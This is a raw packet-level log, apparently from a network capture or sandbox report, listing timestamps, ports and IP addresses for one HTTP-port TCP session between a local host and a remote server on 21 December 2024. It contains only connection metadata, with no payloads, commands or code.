Dec 21, 2024 10:15:19.205996037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.206048012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.206165075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.206217051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.207190990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.207247019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.207348108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.207432032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.208437920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.208489895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.208496094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.208554029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.209594965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.209664106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.209691048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.209860086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.210850000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.210882902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.210903883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.210931063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.211914062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.211968899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.212074995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.212136984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.213218927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.213253021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.213309050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.213309050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.214469910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.214509010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.214535952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.214560986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.215626001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.215661049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.215682030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.215708971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.216695070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.216749907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.216823101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.216876984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.217968941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.218019962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.218086004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.218131065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.219173908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.219208002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.219218969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.219271898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.220276117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.220334053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.220376015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.220489979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.221420050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.221472025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.221556902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.221609116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.222601891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.222681999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.222742081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.222866058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.223845959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.223900080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.223963022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.224050999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.225003004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.225059986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.225128889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.225207090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.226181984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.226231098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.226361036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.226413965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.227407932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.227442980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.227461100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.227487087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.228598118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.228651047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.228697062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.228840113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.229752064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.229804039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.229865074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.229969025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.231008053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.231075048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.231154919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.231205940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.232180119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.232214928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.232235909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.232270002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.233335972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.233392000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.233483076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.233557940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.234484911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.234543085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.234662056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.234715939 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.235681057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.235737085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.235851049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.235905886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.236865044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.236917973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.236999989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.237051010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.238121033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.238214970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.238343000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.238404989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.239285946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.239346981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.239398003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.239449024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.240514040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.240595102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.240680933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.240745068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.241627932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.241686106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.241854906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.241910934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.242818117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.242922068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.242940903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.243022919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.244004011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.244054079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.244122028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.244208097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.245219946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.245295048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.245307922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.245338917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.376468897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.376528978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.376575947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.376663923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.376987934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.377039909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.377127886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.377242088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.378207922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.378268957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.378329992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.378382921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.379443884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.379496098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.379539013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.379594088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.380582094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.380646944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.380764961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.380861998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.381767988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.381829977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.381900072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.381972075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.382961988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.383024931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.383061886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.383115053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.384108067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.384191036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.384274006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.384371996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.385396957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.385436058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.385456085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.385504961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.386486053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.386537075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.386610985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.386693001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.387670994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.387758970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.387835979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.387892962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.388881922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.388936996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.389002085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.389049053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.390043020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.390094042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.390239000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.390300989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.391236067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.391308069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.391392946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.391438961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.392400980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.392462969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.392514944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.392601967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.393593073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.393646002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.393750906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.393893003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.394809961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.394862890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.394889116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.394943953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.395989895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.396070004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.396097898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.396153927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.397142887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.397216082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.397300005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.397352934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.398365021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.398417950 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.398464918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.398528099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.399528980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.399622917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.399638891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.399702072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.400718927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.400887966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.400949001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.401870012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.401998997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.402064085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.402146101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.403120995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.403172970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.403179884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.403225899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.404288054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.404356956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.404426098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.404509068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.405472040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.405534029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.405595064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.405658960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.406662941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.406759024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.406759977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.407130003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.407883883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.407939911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.407975912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.408014059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.409015894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.409075022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.409161091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.409214973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.410211086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.410284996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.410356045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.410406113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.411381006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.411534071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.411540031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.411621094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.412683010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.412718058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.412754059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.412777901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.413779974 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.413832903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.413923025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.413980007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.415025949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.415103912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.415124893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.415178061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.416125059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.416258097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.416323900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.416368961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.417351961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.417469025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.417524099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.417581081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.418468952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.418545961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.418596029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.418658018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.419715881 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.419783115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.419781923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.419831991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.420864105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.420916080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.421066046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.421135902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.422023058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.422091961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.422166109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.422245979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.423201084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.423266888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.423352003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.423401117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.424432039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.424491882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.424659014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.424712896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.425590038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.425641060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.425684929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.425833941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.426744938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.426805019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.426873922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.426992893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.428045988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.428102016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.428117990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.428150892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.429178953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.429274082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.429320097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.429320097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.430320024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.430386066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.430429935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.430499077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.431518078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.431632996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.431658030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.431725025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.432694912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.432749033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.432809114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.432868004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.433849096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.433906078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.433955908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.433955908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.435044050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.435098886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.435167074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.435219049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.436245918 CET	80	49781	31.41.244.11	192.168.2.4
